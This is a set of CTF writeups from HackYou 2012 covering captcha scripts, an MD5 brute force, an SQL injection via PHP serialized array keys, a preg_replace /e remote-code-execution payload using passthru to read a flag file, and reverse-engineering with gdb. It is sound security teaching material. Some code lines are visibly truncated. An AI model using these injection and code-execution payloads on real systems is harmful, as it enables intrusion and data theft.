To search


w3pwnz, therefore we are

Thursday, October 18 2012 16:05

HackYou CTF - PPC100, PPC200, PPC300 Writeups

PPC100 - Antihuman Captcha

To solve this task we have to submit the sum of two huge numbers, fast enough to be considered as a robot.
Python can handle these natively, so it's straight-forward.


#!/usr/bin/env python2
import urllib
import re
URL = ""
page = urllib.urlopen(URL).read()
regex = "HugeCaptcha</h2>(?:\s+)(\d+)(?:\s+)\+(?:\s+)(\d+)<br>(?:.*)name='trueanswer' value='([^']+)' />"
m =, page, re.S)
int_1, int_2, trueanswer = m.groups()
answer = int(int_1) + int(int_2)
params = urllib.urlencode({
    'answer': answer,
    'captchatype': 'hugecaptcha',
    'trueanswer': trueanswer
page = urllib.urlopen(URL, params).read()
# Ok, u are robot<br> Secret is:<br> 1101011<br> 1101001[...]
regex = "Secret is:<br> ([^\n]+)"
m =, page)
passwd ="<br> ")
print '[+] Password is', ''.join(chr(int(i, 2)) for i in passwd)

Flag: killallhumans

PPC200 - Oscaderp Forensic

Download the archive PPC200.

We need your help, soldier!

Your goal today is to help us obtain the access to Oscaderp Corp mainframe.
Our intelligence has managed to install a keylogger and a formgrabber on some bad person's work laptop. You don't need his name to do your job.
Everything worked as planned, the victim visited mainframe's authentication page, https://authen.intranet/, and started to type in the password.
But when he had a couple characters left, the keylogger got busted and hard-killed by him.

Present intelligence evidence:
* The password that's being used is 1,048,576 characters long.
* According to our calculations, our keylogger managed to capture 1,048,568 password keystrokes.
* Formgrabber remained unnoticed, and in a few hours we've got the logs with successful mainframe authentication.
The only major problem: they use client-side MD5 to protect the password from being eavesdropped.
* We also managed to acquire the source code of the authentication mechanism

You can find all the necessary files in the archive.

YOUR GOAL: obtain the password to the mainframe, and post its SHA1 hash as the flag.

Not much of a choice, we must bruteforce remaining characters.
A dumb basic bruteforce will be quite long because of the password's length. Hence I hash the provided part first (1,048,568 bytes), store it in a "ref" variable, and then bruteforce the 8 remaining bytes, using a copy of the ref md5 object to keep it intact.
Python is usually not a good choice for bruteforce, but i was lazy and it's only a 8 digits bruteforce, which takes less than 3 minutes with code below.

#!/usr/bin/env python2
import itertools
import hashlib
import string
import re
ref = hashlib.md5()
lines = open("keylogger_report_08_10_2012.txt", "r").readlines()
out = open("password", "w")
regex = re.compile("^Keys: (\d+)")
for line in lines:
    m = regex.match(line)
    if m:
charset = string.digits
for password in itertools.product(charset, repeat=8):
    passwd = ''.join(password)
    h = ref.copy()
    if h.hexdigest() == "287d3298b652c159e654b61121a858e0":
        print "password is", passwd
        print "solve with", hashlib.sha1(open('password', 'r').read() + passwd).hexdigest()
print '[DONE]'

Flag: 947c83329e6cf2d9b747af59edf7974752afd741

PPC300 - Quantum Computing Captcha

Same concept than PPC100, but here we have to submit a prime number factor of a huge number.


I used the awesome pari-python module to extract the divisors, and gocr (I often have bad results with that one, but it did the job here...).

#!/usr/bin/env python
import urllib
import re
import subprocess
import pari
URL = ""
page = urllib.urlopen(URL).read()
regex = "<img src='/ppc300/([^']+)'><br>(?:.*)name='trueanswer' value='([^']+)' />"
m =, page, re.S)
img_name, trueanswer = m.groups()
img = urllib.urlopen(URL +
open("captcha.png", "w").write(img)
captcha = subprocess.Popen(['gocr -i captcha.png'], shell=True, stdout=subprocess.PIPE).communicate()[0]
captcha = captcha.split("\n")[0]
captcha = int(captcha[captcha.find('_e') + 2:].replace(" ", ""))
divisors = pari.divisors(captcha)
answer = divisors[1]
params = urllib.urlencode({
    'answer': answer,
    'captchatype': 'refactor',
    'trueanswer': trueanswer
page = urllib.urlopen(URL, params).read()
# Ok, u are robot<br> Secret is:<br> 1101011<br> 1101001[...]
regex = "Secret is:<br> ([^\n]+)"
m =, page)
passwd ="<br> ")
print '[+] Password is', ''.join(chr(int(i, 2)) for i in passwd)

Flag: kill_1_human

HackYou CTF - Web100, Web200, Web300 Writeups

Web 100 - Pentagon Authentication

This is a javascript challenge containing several conditions for the password to be correct.
Let's summarize these conditions:

# secretPassPhrase = "Climbing is dangerous"
# QuoteOfTheDay = "the beige hue on the waters of the loch impressed all, including the zapped french queen, before she heard that symphony again, as kind young arthur wanted. keen oxygen vendor."
# length == 12
# pwd[0] in string.digits
# pwd[10] in string.digits
# pwd[1] in string.digits
# pwd[6] in string.digits
# pwd[2] in string.digits
# int(pwd[0]) + int(pwd[1]) + int(pwd[2]) + int(pwd[6]) + int(pwd[10]) == 12
# pwd[7] == 'd'
# pwd[7] == pwd[8] - 1
# pwd[2] == pwd[6]
# pwd[6] == pwd[1]
# int(pwd[1]) * int(pwd[10]) == 0
# int(pwd[1]) - int(pwd[10]) == 1
# pwd[11] + pwd[3] + pwd[4] == secretPassphrase[int(pwd[0]) / 2, 3)]
# pwd[9] in string.ascii_lowercase
# pwd[9] not in QuoteOfTheDay

We quicky find the valid password: 911in?1dej0b
We only miss character #5, but it's easy to guess it: 911in51dej0b.
Anyway it is not used by javascript checks.

Flag: n0-evidence-0n1y-this-8030

Web 200 - Global Meteo


<!-- Not ashamed to show you the source: -->

Download challenge files here.
Quick glance at the code and we find this:

$fieldArray = $_POST['fields'];
    foreach ($fieldArray as &$field) {
      $field = mysql_real_escape_string($field);
      if (is_numeric($field)) {
        if (strstr($field, "."))
          $field = (float)$field;
          $field = (int)$field;
      } elseif (strtolower($field) == "true") {
        $field = true;
      } elseif (strtolower($field) == "false") {
        $field = false;
      } else {
        $field = NULL;
    $storedFields = serialize($fieldArray);
    mysql_query("INSERT INTO storage (location, data) VALUES (\"$location\", \"$storedFields\")");

$_POST['fields'] is serialized, but values are filtered first. Anyway, it is an array, we can still modify its keys.
A string key will introduce a quote in the serialized string:

print serialize(array('fu' => true, 42 => 1337)) . "\n";
# output: a:2:{s:2:"fu";b:1;i:42;i:1337;}

We now have an SQL injection within an INSERT statement, which we can use to insert other rows, containing result from subrequests.

#!/usr/bin/env python2
import urllib
URL = ""
URL_ADD = ""
sql_injection = '), ((SELECT flag FROM secret LIMIT 1), '
params = urllib.urlencode({
    'location': "osef suce.",
    'fields[%s]' % sql_injection: "false"
print urllib.urlopen(URL_ADD, params).read()
print "-" * 80
print urllib.urlopen(URL).read()

Flag: Serialize()_ALL_the_fields!!11

Web 300 - RNG of Ultimate Security


    <!-- can't touch this: -->
    <!-- can touch this: -->

Download file index.php.txt.

Step 1 - Unobfuscate

The code is obfuscated, so let's try to unobfuscate it before delving into the vulnerability.
Every string is obfuscated, and is unobfuscated by calling b() function.

Of course function and variable names are obfuscated as well, using ${b(obfuscated_string)} syntax.
As a reminder, ${$string} is a variable variable (same than $$string).

Now the question is: what is b() doing ?
Obviously we don't need the answer, we can retrieve strings simply by performing something like:

print b("f975de3ba2") . "\n";

But that's lame, so we'll try to understand the operations performed within b(). First things first, here is what is b():

00000000  66 75 6e 63 74 69 6f 6e  20 62 28 24 62 29 7b 72  |function b($b){r|
00000010  65 74 75 72 6e 20 65 76  61 6c 28 c3 9c c3 a7 c2  |eturn eval(.....|
00000020  91 c2 88 c2 a9 c2 b2 c3  93 c3 92 c2 9c c3 84 c2  |................|
00000030  a0 c2 ac c2 9e c3 b3 c2  b6 c3 a9 c2 b2 c3 ae c2  |................|
00000040  8c c2 96 c2 89 c2 85 c3  ba c2 a0 c3 ad c2 a9 c2  |................|
00000050  a6 c3 8e c2 b2 c2 90 c2  8c c3 97 c2 aa c2 b1 c2  |................|
00000060  a7 c3 a8 c3 b9 c3 a4 c2  bc c2 a6 c2 a1 c2 ae c2  |................|
00000070  81 c3 93 c3 b0 c2 bf c2  bf c3 a0 c2 9a c3 92 c2  |................|
00000080  a0 c3 9a c2 8a c3 90 c2  be c3 9f c3 81 c3 9c c2  |................|
00000090  95 c3 af c3 8d c2 b5 c3  be c3 ab c2 99 c3 84 c2  |................|
000000a0  96 c3 be c2 b6 c2 b1 c2  9d c2 a4 c2 b3 c2 8c c3  |................|
000000b0  80 c3 a5 c3 b2 c3 88 c3  a0 c3 99 c3 ae c2 af c2  |................|
000000c0  8a c2 a1 c2 89 c2 bf c2  b8 c2 96 c2 a6 c3 b5 c3  |................|
000000d0  b0 c3 b6 c3 8c c2 bc c2  8a c2 89 c3 9f c2 ba c2  |................|
000000e0  91 c3 ac c3 98 c3 9a c3  a5 c3 a0 c3 87 c3 90 c2  |................|
000000f0  81 c2 8f c3 91 c2 91 c3  8a c3 9b c2 89 c3 a2 c3  |................|
00000100  a4 c2 a0 c3 be c2 8a c3  a9 c3 81 c3 94 c3 9b c2  |................|
00000110  92 c3 88 c3 95 c3 83 c2  91 c2 a0 c3 8f c2 84 c2  |................|
00000120  8f c2 aa c3 bc c3 a4 c2  b1 c2 b5 c3 91 c3 9b c3  |................|
00000130  8f c3 89 5e c2 ae c2 82  c3 a5 c3 bd c3 9b c3 9c  |...^............|
00000140  c3 b3 c2 a1 c3 a8 c2 b6  c3 bf c3 9e c3 bb c2 83  |................|
00000150  c3 93 c2 88 c3 86 c3 86  c3 a1 c3 b2 c2 bc c2 ad  |................|
00000160  c2 89 c3 95 c2 8f c3 9a  c3 92 c2 bc c2 9a c2 b4  |................|
00000170  c3 ae c3 bb c2 9a c2 9d  c2 9f c3 81 c3 95 c2 90  |................|
00000180  c3 8e c3 93 c3 84 c2 87  c2 ad c2 b0 c2 95 c3 96  |................|
00000190  c3 93 c3 88 c2 b2 c2 a1  c3 94 c2 a8 c3 a6 c2 b5  |................|
000001a0  c3 90 c3 b7 c3 a5 c2 be  c2 bc c3 82 c3 b5 c2 9c  |................|
000001b0  c3 91 c3 9a c2 af c3 ad  c2 bf c2 a0 c3 86 c3 90  |................|
000001c0  c3 be c3 8f c2 9b c2 ae  c2 9c c2 9d c3 86 c3 b0  |................|
000001d0  c2 bc c2 a1 c3 9c c3 8e  c2 a8 c2 8d c3 ba c3 8a  |................|
000001e0  c3 9a c3 a5 c3 92 c2 87  c3 98 c3 92 c2 ae c2 90  |................|
000001f0  c2 b2 c2 a0 c3 b6 c2 81  29 3b 7d 0a              |........);}.|

It's not a simple strrev(base64(blabla)), but rather eval()'d PHP bytecode.
To dump opcodes and see what's going on, I use Vulcan Logic Dumper.
Launch it with:

php -dvld.verbosity=1 index.php


filename:       /home/awe/Downloads/index.php(4) : eval()'d code
function name:  (null)
number of ops:  25
compiled vars:  !0 = $b
line     # *  op                           fetch          ext  return  operands
   1     0  >   SEND_VAR                                                 !0
         1      SEND_VAL                                                 0
         2      SEND_VAL                                                 8
         3      DO_FCALL                                      3  $0      'substr'
         4      SEND_VAR_NO_REF                               6          $0
         5      SEND_VAL                                                 true
         6      DO_FCALL                                      2  $1      'md5'
         7      SEND_VAR_NO_REF                               6          $1
         8      SEND_VAR                                                 !0
         9      DO_FCALL                                      1  $2      'strlen'
        10      SUB                                              ~3      $2, 8
        11      DIV                                              ~4      ~3, 16
        12      SEND_VAL                                                 ~4
        13      DO_FCALL                                      1  $5      'ceil'
        14      SEND_VAR_NO_REF                               6          $5
        15      DO_FCALL                                      2  $6      'str_repeat'
        16      SEND_VAL                                                 'H%2A'
        17      SEND_VAR                                                 !0
        18      SEND_VAL                                                 8
        19      DO_FCALL                                      2  $7      'substr'
        20      SEND_VAR_NO_REF                               6          $7
        21      DO_FCALL                                      2  $8      'pack'
        22      BW_XOR                                           ~9      $6, $8
        23    > RETURN                                                   ~9
        24*   > RETURN                                                   null

branch: #  0; line:     1-    1; sop:     0; eop:    24

If you seek more informations about PHP opcodes, RTFM :)
We deduce what PHP is doing:

return str_repeat(md5(substr($param, 0, 8), true), ceil((strlen($param) - 8) / 16)) ^ pack("H*", substr($param, 8));

Now let's create a Python script to unobfuscate the whole file:

#!/usr/bin/env python2
import re
import hashlib
import math
def my_xor(arg1, arg2):
    length = min(len(arg1), len(arg2))
    res = ""
    for i in xrange(length):
        res += chr(ord(arg1[i]) ^ ord(arg2[i]))
    return res
def unobfuscate(match):
    s =
    arg1 = hashlib.md5(s[0:8]).digest() * int(math.ceil((len(s) - 8.0) / 16))
    arg2 = s[8:].decode("hex")
    return '"%s"' % my_xor(arg1, arg2)
txt = open('index.php.txt', 'r').read()
print re.sub('b\("([^"]+)"\)', unobfuscate, txt)


<?${"Gjx7QbQ4l3EL"}="array_key_exists";${"USVuYTejL3cA"}="preg_replace";${"lRzbPV0GVCmL"}="mt_rand";${"eU3WOwVfyB2j"}="printf";${"MFBEFx3icClz"}="range";${"KytnuQGCMhPA"}="pack";${"eU3WOwVfyB2j"}("<!DOCTYPE html>
    <title>RNG of Ultimate Security</title>
    <h3>The Most Secure RNG in the World</h3>
    <!-- can't touch this: -->
    <!-- can touch this: -->
    <form method='POST'>
      Enter the seeds for random number generation, one by line:<p/>
      <textarea name='rng_seeds' cols=50 rows=10>");if(${"Gjx7QbQ4l3EL"}("rng_seeds",${"_POST"})){${"LhfnDi9VtrJM"}=${"_POST"}["rng_seeds"];${"aKRml6aSjmxW"}=${"_POST"}["rng_algorithm"];${"SBBTqFwnO6s5"}="5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929";if(${"aKRml6aSjmxW"}!=${"SBBTqFwnO6s5"})${"eU3WOwVfyB2j"}("wuut?! hacker detected!");else${"eU3WOwVfyB2j"}(${"USVuYTejL3cA"}("#\b(\d+)\b#se",${"KytnuQGCMhPA"}("H*",${"aKRml6aSjmxW"}),${"LhfnDi9VtrJM"}));}else{foreach(${"MFBEFx3icClz"}("1","5")as$_)${"eU3WOwVfyB2j"}(${"lRzbPV0GVCmL"}()."
      <input type='hidden' name='rng_algorithm' value='5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929' />
      <input type='submit' value='Generate &raquo;' />
</html>");function b($b){return eval([...])};

Better, isn't it?
We still have to manually fix a few things, mainly variable names, indentation and stuff... which finally gives us:

printf("<!DOCTYPE html>
    <title>RNG of Ultimate Security</title>
    <h3>The Most Secure RNG in the World</h3>
    <!-- can't touch this: -->
    <!-- can touch this: -->
    <form method='POST'>
      Enter the seeds for random number generation, one by line:<p/>
	  <textarea name='rng_seeds' cols=50 rows=10>");
if (array_key_exists("rng_seeds", $_POST))
	$ref = "5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929";
	if ($_POST['rng_algorithm'] != $ref)
		printf("wuut?! hacker detected!");
		printf(preg_replace("#\b(\d+)\b#se",pack("H*", $_POST['rng_algorithm']), $_POST['rng_seeds']));
	foreach (range("1", "5") as $_)
      <input type='hidden' name='rng_algorithm' value='5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929' />
      <input type='submit' value='Generate &raquo;' />

Now we can work on it.

Step 2 - Sploit da vuln

Because it is lax, PHP's typing system is a mess. Hence a string composed of digits only is sometimes considered as an integer. We cannot use any other digit-based string, it must have the same length (except if we prefix it with 0's or spaces, but that's not quite useful...), and the first digits must be the same.
Thereby we find that:


Great job, PHP!

There is a vulnerability in the preg_replace, because it's using the 'e' PCRE modifier (more infos).

If this modifier is set, preg_replace() does normal substitution of backreferences in the replacement string, evaluates it as PHP code, and uses the result for replacing the search string. Single quotes, double quotes, backslashes (\) and NULL chars will be escaped by backslashes in substituted backreferences.

But a problem arise: we are limited to a strict charset, which consists of only all ASCII characters for which the hexadecimal representation is composed only of digits.
That sound unrealistic, but if we look closer at the provided rng_algorithm, we understand that's correct:

>>> "5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929".decode("hex")

Our payload must begin with 'ShA1(dAT', which is annoying as we will explain below.
Our charset is ! "#$%&'()0987654321@ABCDEFGHIPQRSTUVWXY`abcdefghipqrstuvwxy
We must now focus on how to read the flag.txt.gz file. Reading it via PHP functions seems hard, knowing that 'o' is not inside the charset (so, forget about fopen, file_get_contents etc...). However, we don't even have either ';' or '.' available!

Thus we will try to find a way to execute shell commands.
A good idea is to first list PHP functions and shell commands/binaries that comply with our charset.

function check_in_charset($func)
	$len = strlen($func);
	for ($i = 0; $i < $len; ++$i)
		if (!is_numeric(bin2hex($func[$i])))
			return FALSE;
	return TRUE;
$functions = array_filter(get_defined_functions()['internal'], "check_in_charset");
print join(', ', $functions);


each, date, idate, getdate, ereg, eregi, hash, sha1, crc32, iptcparse, phpcredits, strrev, hebrev, hebrevc,
strstr, stristr, strrchr, substr, ucfirst, strtr, chr, strchr, exec, passthru, abs, pi, exp, sqrt, deg2rad, rad2deg,
hexdec, dechex, getrusage, header, gettype, settype, fgetc, fgets, fgetss, fread, fpassthru, fstat, fwrite,
fputs, fgetcsv, fputcsv, crypt, chdir, getcwd, readdir, dir, stat, chgrp, prev, reset, extract, assert, gettext,
dgettext, dcgettext

Same process for UNIX binaries, listing /bin/ and /usr/bin/.

Wow, we have 'exec()' in the list, sounds like a win? Not quite :(
Remember, we still have the 'ShA1(dAT' prefix, annoying us. We don't have ';' so we can't chain it easily with another function. However, we can use '&&'.

Therefore our payload will be "ShA1(dATe()) && FIXME".
The problem is that "exec()" returns its results as a string, so we can't do that.
... Unless ... we do something blind-like, based on substr? Nah you can forget that too, we don't even have ',' available...

Hopefully it is still exploitable, with passthru.

The passthru() function is similar to the exec() function in that it executes a command. This function should be used in place of exec() or system() when the output from the Unix command is binary data which needs to be passed directly back to the browser.

We must now find something to 'cat' the flag. No 'l', no 'o', no '*', not even '['. Forget 'ls', 'echo *', 'cat f*' etc.
However the 'dir' binary does the trick. It will list all files, but we can deal with it.
Our final payload will then look like this:

ShA1(dATe()) && passthru('cat `dir`')

It always looks easy once you have the answer ;)

The flag file is a tarball, so it's not a good idea to execute the command within a browser, we will have some issues while dumping its content.
We will instead do it via another python script:

#!/usr/bin/env python2
import urllib
URL = ""
PAYLOAD = "ShA1(dATe()) && passthru('cat `dir`')"
PAYLOAD += " " * (62 - len(PAYLOAD))
PAYLOAD = PAYLOAD.encode('hex')
params = urllib.urlencode({
    'rng_seeds': '1337',
    'rng_algorithm': PAYLOAD
open('outputz.gz', 'wb+').write(urllib.urlopen(URL, params).read())

Manually remove HTML tags from the file and execute gunzip outputz.gz.
We obtain a file that is chained base64 encoding of the password. Final Python script:

#!/usr/bin/env python2
txt = open("outputz", "r").read()
count = 0
while True:
        txt = txt.decode("base64")
        count += 1
        if ' ' in txt:
            print '[+] %d base64!' % count
            print '[+]', txt
        print txt
[+] 42 base64!
[+] flag: 36e03906042b7b266afa32bd1ea35445

Flag: 36e03906042b7b266afa32bd1ea35445

HackYou CTF - Reverse100, Reverse200, Reverse300 Writeups

Reverse 100 - Open-Source

Download file code.c.
Simply read the source...

% ./code `python2 -c 'print 0xcafe'` 25 h4cky0u
Brr wrrr grr
Get your key: c0ffee

Flag: c0ffee

Reverse 200 - LoseYou

Download file

Extract the archive to obtain task2.bin and task2.exe.
I decided to study task2.bin.
The routine to reverse is sub_80483DC.
We quicky notice this:


That's very basic, eax will contain our guessed number, ecx will contain the randomly generated number.
All we need to do is to break on the "cmp eax, ecx" at 08048503 and set eax to ecx.

(gdb) b *0x08048503
Breakpoint 1 at 0x8048503
(gdb) r
Starting program: /tmp/task2.bin 
warning: Could not load shared library symbols for
Do you need "set solib-search-path" or "set sysroot"?
Welcome to the LoseYou lottery!
Generating random.....
Make your guess (number 0 or 1): tg
Breakpoint 1, 0x08048503 in ?? ()
(gdb) set $eax=$ecx
(gdb) c
You... you... win??? so lucky! Grab the flag:
::: oh_you_cheat3r :::
[Inferior 1 (process 27619) exited normally]

Flag: oh_you_cheat3r

Reverse 300 - ashtree

Download file
Once again I decided to study the ELF version: task3.bin.

Step 1 - Unpack

The binary seems to be packed by a modified UPX (at least, UPX string is replaced by LOL...).
Let's trace execution:

% strace ./task3.bin 
execve("./task3.bin", ["./task3.bin"], [/* 34 vars */]) = 0
[ Process PID=5640 runs in 32 bit mode. ]
getpid()                                = 5640
gettimeofday({1350215641, 677903}, NULL) = 0
unlink("/tmp/upxCRBOGQOAFQI")           = -1 ENOENT (No such file or directory)
open("/tmp/upxCRBOGQOAFQI", O_RDWR|O_CREAT|O_EXCL, 0700) = 3
ftruncate(3, 9036)                      = 0
old_mmap(NULL, 9036, PROT_READ|PROT_WRITE, MAP_SHARED, 3, 0) = 0xf775a000
old_mmap(0xf775d000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xf775d000
munmap(0xfffffffff775a000, 9036)        = 0
close(3)                                = 0
open("/tmp/upxCRBOGQOAFQI", O_RDONLY)   = 3
getpid()                                = 5640
access("/proc/5640/fd/3", R_OK|X_OK)    = 0
unlink("/tmp/upxCRBOGQOAFQI")           = 0
fcntl(3, F_SETFD, FD_CLOEXEC)           = 0
execve("/proc/5640/fd/3", ["./task3.bin"], [/* 41 vars */]) = 0

The binary is unpacking itself into a file "/tmp/upxCRBOGQOAFQI", which is a randomly generated name. Then it is unlinked and executed by execve().

The unlink() function is guaranteed to unlink the file from the file system hierarchy but keep the file on disk until all open instances of the file are closed.

Once the execution is over, the file is deleted, so we need to find the file name, and copy the file elsewhere before it's unlinked. Let's toggle a breakpoint before execve() then.

(gdb) b *0x004024dd
Breakpoint 1 at 0x4024dd
(gdb) r
Starting program: /tmp/task3.bin 
Breakpoint 1, 0x004024dd in ?? ()
(gdb) x/s $ebx
0xffffd494:	"/proc/12767/fd/7"
% file /proc/12767/fd/7
/proc/12767/fd/7: broken symbolic link to `/tmp/upxC5RF3NOAMO5 (deleted)'

Ok! Now we can work on the unpacked binary.

Step 2 - Keygen

Our routine is sub_8048617.
Several conditions must be met:

  • - argv[1] = username
  • - argv[2] = password
  • - username != 'hackyou'
  • - len(password) == 14
  • - password[4] == '-' and password[8] == '-'
  • - sub_804838C(username, password) == True
  • - sub_804844B(username, password[5:]) == True
  • - sub_804850A(username, password[10:]) == True

Although our username must not be 'hackyou', if you take a look at sub_80485F0, the goodboy message, you'll notice it prints "Great! Now submit the license key for 'hackyou'".
sub_804838C, sub_804844B and sub_804850A all proceed in the same way, which finally compares individually 4 bytes of the given password parameter:


Our password character is in edx, the expected one is in eax. Lazy as i am, i didn't go much deeper :)

All we need now is to break on:

.text:0804842B                 cmp     eax, edx

... dump eax, and fix edx so that it will be equal to eax. Same for the two last routines. Let's create a basic pythonGDB script to do the work for us.

import gdb
passwd = ""
passwd_len = 0
def callback_username_condition():
    gdb.execute("set $eax=1")
def callback_compare_password():
    global passwd, passwd_len
    gdb.execute("set $edx=$eax")
    if passwd_len in (4, 9):
        passwd += '-'
        passwd_len += 1
    passwd += chr(gdb.parse_and_eval("$eax"))
    passwd_len += 1
    print "[+]", passwd
class HitBreakpoint(gdb.Breakpoint):
    def __init__(self, loc, callback):
        super(HitBreakpoint, self).__init__(
            loc, gdb.BP_BREAKPOINT, internal=False
        self.callback = callback
    def stop(self):
        return False
HitBreakpoint("*0x08048665", callback_username_condition)
HitBreakpoint("*0x0804842B", callback_compare_password)
HitBreakpoint("*0x080484EA", callback_compare_password)
HitBreakpoint("*0x080485A9", callback_compare_password)

And run it...

(gdb) source 
Breakpoint 1 at 0x8048665
Breakpoint 2 at 0x804842b
Breakpoint 3 at 0x80484ea
Breakpoint 4 at 0x80485a9
(gdb) r hackyou 0123-4567-8910
Starting program: /tmp/unpacked_rev300 hackyou 0123-4567-8910
warning: Could not load shared library symbols for
Do you need "set solib-search-path" or "set sysroot"?
[+] k
[+] ke
[+] kec
[+] kecc
[+] kecc-h
[+] kecc-ha
[+] kecc-hac
[+] kecc-hack
[+] kecc-hack-y
[+] kecc-hack-yo
[+] kecc-hack-yo0
[+] kecc-hack-yo0u
Great! Now submit the license key for 'hackyou'
[Inferior 1 (process 14524) exited with code 01]

Flag: kecc-hack-yo0u